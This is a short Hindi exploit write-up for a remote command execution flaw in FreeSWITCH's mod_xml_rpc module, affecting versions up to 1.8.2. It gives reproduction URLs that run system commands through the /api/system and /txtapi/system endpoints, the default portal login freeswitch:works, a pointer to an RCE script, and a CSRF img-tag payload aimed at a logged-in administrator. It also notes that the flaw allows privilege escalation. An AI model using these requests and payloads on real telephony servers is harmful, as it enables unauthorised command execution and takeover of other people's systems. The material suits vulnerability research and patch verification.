version:<=1.8.2

module:mod_xml_rpc

मैंने कुल तीन संस्करणों का परीक्षण किया।（download url:http://files.freeswitch.org/）

• 1.8.2
• 1.5.15
• 1.7.0

1.5.15

freeswitch 1.5.15 Windows संस्करण स्थापित करें（http://files.freeswitch.org/windows/installer/x64/freeswitch.msi）

कंसोल खोलें और टाइप करें: load mod_xml_rpc (freeswitch पोर्टल लोड करें)

स्थानीय पोर्ट 8080 तक पहुँचें,

http://127.0.0.1:8080/portal/index.html

कंसोल में इनपुट करें api("system calc")याapi("bg_system calc")

सीधे इंटरफ़ेस का अनुरोध भी कर सकते हैं

http://127.0.0.1:8080/txtapi/system?calc या

http://127.0.0.1:8080/api/system?calc

1.7.0

exp

freeswitch पोर्टल का डिफ़ॉल्ट खाता और पासवर्ड freeswitch:works है।

आप freeswitch_rce.py का उपयोग करके स्वयं जांच सकते हैं।

या लॉग इन किए गए व्यवस्थापक पर हमला करने के लिए csrf का उपयोग करें।

<img src="http://127.0.0.1:8080/api/system?calc">

क्योंकि freeswitch अक्सर उच्च विशेषाधिकारों के साथ चलता है, यह विशेषाधिकार वृद्धि का प्रभाव भी प्राप्त कर सकता है।